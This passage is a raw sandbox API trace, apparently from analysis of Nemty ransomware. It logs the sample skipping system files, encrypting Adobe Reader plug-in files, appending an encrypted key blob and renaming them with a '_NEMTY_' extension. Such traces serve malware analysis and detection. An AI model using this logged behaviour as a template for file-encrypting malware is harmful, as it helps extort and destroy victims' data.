hHeap=0x4f90000) returned 1 [0190.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0190.504] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15de63, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.api", cAlternateFileName="")) returned 1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2=".") returned 1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="..") returned 1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="...") returned 1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="windows") returned -1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="$RECYCLE.BIN") returned 1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="rsa") returned -1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="NTDETECT.COM") returned -1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="ntldr") returned -1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="MSDOS.SYS") returned -1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="IO.SYS") returned -1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="boot.ini") returned 1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="boot.ini") returned 1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="AUTOEXEC.BAT") returned 1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="ntuser.dat") returned -1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="desktop.ini") returned 1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="CONFIG.SYS") returned 1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="RECYCLER") returned -1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="BOOTSECT.BAK") returned 1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="bootmgr") returned 1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="programdata") returned -1 [0190.504] lstrcmpiW (lpString1="DigSig.api", lpString2="appdata") returned 1 [0190.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.api", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.api", lpUsedDefaultChar=0x0) returned 10 [0190.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.api", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.api", lpUsedDefaultChar=0x0) returned 10 [0190.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.api", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.api", lpUsedDefaultChar=0x0) returned 10 [0190.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.api", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.api", lpUsedDefaultChar=0x0) returned 10 [0190.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0190.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0190.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0190.505] Sleep (dwMilliseconds=0x5) [0190.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2534bd90, dwHighDateTime=0x1d561e8)) [0190.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2534bd90, dwHighDateTime=0x1d561e8)) [0190.521] GetLastError () returned 0x0 [0190.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.521] GetLastError () returned 0x0 [0190.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.521] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0190.521] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0190.521] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0190.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0190.521] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="/cSk/wkpm8Qgdrq6pAdNnFZku9F0yt2iB6bRzaIU+BRsMrW0esq9H0xSW2M1Y+No\r\nXaWAtER/PY/a1E7HyzIFfx26rNej4vDIR0bsyWnl/Vyvs+xgsfSr4AMJLnUDS++h\r\n1CQCbR6IFGpT5LTGEZnCi6nCJmXYSQdqFcA234PpflHiD2XJjKdlaLd2WtrH/obK\r\nHNr6j30/Q/n4+KK6IYB7icbSGcusNoQGRY9nluogF0aBtWTTnGOSY2pSmvqaJbUg\r\nY4t0nAAzbDPfDl+mSna/YZ8nloDEFkJs6Aej4lwZQjexTu7Lz6yYhFzoX0vqatlD\r\nvuBR8BI8X4mkQUZOB6mVeg==\r\n", pcchString=0x653e91c) returned 1 [0190.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0190.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.521] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\digsig.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0190.522] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1433187) returned 1 [0190.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0190.522] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.522] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0190.531] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.531] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0190.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.532] SetFilePointer (in: hFile=0x254, lDistanceToMove=1433187, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15de63 [0190.532] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0190.533] CloseHandle (hObject=0x254) returned 1 [0190.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0190.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0190.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0190.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0190.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.534] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\digsig.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DigSig.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\digsig.api._nemty_kgobjgd_")) returned 1 [0190.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0190.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0190.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0190.534] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24a63, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.api", cAlternateFileName="")) returned 1 [0190.534] lstrcmpiW (lpString1="DVA.api", lpString2=".") returned 1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="..") returned 1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="...") returned 1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="windows") returned -1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="$RECYCLE.BIN") returned 1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="rsa") returned -1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="NTDETECT.COM") returned -1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="ntldr") returned -1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="MSDOS.SYS") returned -1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="IO.SYS") returned -1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="boot.ini") returned 1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="boot.ini") returned 1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="AUTOEXEC.BAT") returned 1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="ntuser.dat") returned -1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="desktop.ini") returned 1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="CONFIG.SYS") returned 1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="RECYCLER") returned -1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="BOOTSECT.BAK") returned 1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="bootmgr") returned 1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="programdata") returned -1 [0190.535] lstrcmpiW (lpString1="DVA.api", lpString2="appdata") returned 1 [0190.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.api", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0190.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.api", cchWideChar=7, lpMultiByteStr=0x653ebd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.api", lpUsedDefaultChar=0x0) returned 7 [0190.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.api", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0190.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.api", cchWideChar=7, lpMultiByteStr=0x653ebd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.api", lpUsedDefaultChar=0x0) returned 7 [0190.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.api", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0190.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.api", cchWideChar=7, lpMultiByteStr=0x653ec20, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.api", lpUsedDefaultChar=0x0) returned 7 [0190.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.api", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0190.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.api", cchWideChar=7, lpMultiByteStr=0x653ec58, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.api", lpUsedDefaultChar=0x0) returned 7 [0190.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0190.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0190.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0190.535] Sleep (dwMilliseconds=0x5) [0190.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x25371ef0, dwHighDateTime=0x1d561e8)) [0190.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x25371ef0, dwHighDateTime=0x1d561e8)) [0190.536] GetLastError () returned 0x0 [0190.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.536] GetLastError () returned 0x0 [0190.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.536] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0190.536] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0190.537] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0190.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0190.537] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="p8W7b2NHX228j+FgyIDrZOL6WP6XY44NFXRp5xS3V9FXel2VqaF3Vvvcs1BZ19/P\r\nMgUj11lNTX9zkPHBnxwqSXX+e7ydZ5k2tTIW+eoNKb/WA81XTZk06pSZAXchsOIE\r\nmHc/s4rU3RSAeBJnv4P5g697RRsHBYv16sIx8dG1euChi5OfxkC6aY2dRCKzYm82\r\n3/Mf9DQ3b1It+Ga4UEKNbrHfNgADaofL6X21H20RCL1Sh1Gzqi3In+eDVWb2OnCH\r\nDJNlhpVsM8iXUKsR669ZbW3As+pAo9FzvUVO8Advf0THr14dnV1ilQxdlBMMkZU7\r\n99Nj5PcMw6o4NBQc/YsyXw==\r\n", pcchString=0x653e91c) returned 1 [0190.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0190.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.537] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\dva.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0190.537] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=150115) returned 1 [0190.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0190.537] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.538] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0190.546] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.546] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0190.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.547] SetFilePointer (in: hFile=0x254, lDistanceToMove=150115, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24a63 [0190.547] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0190.547] CloseHandle (hObject=0x254) returned 1 [0190.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0190.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0190.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0190.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0190.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.547] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\dva.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\dva.api._nemty_kgobjgd_")) returned 1 [0190.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0190.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0190.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 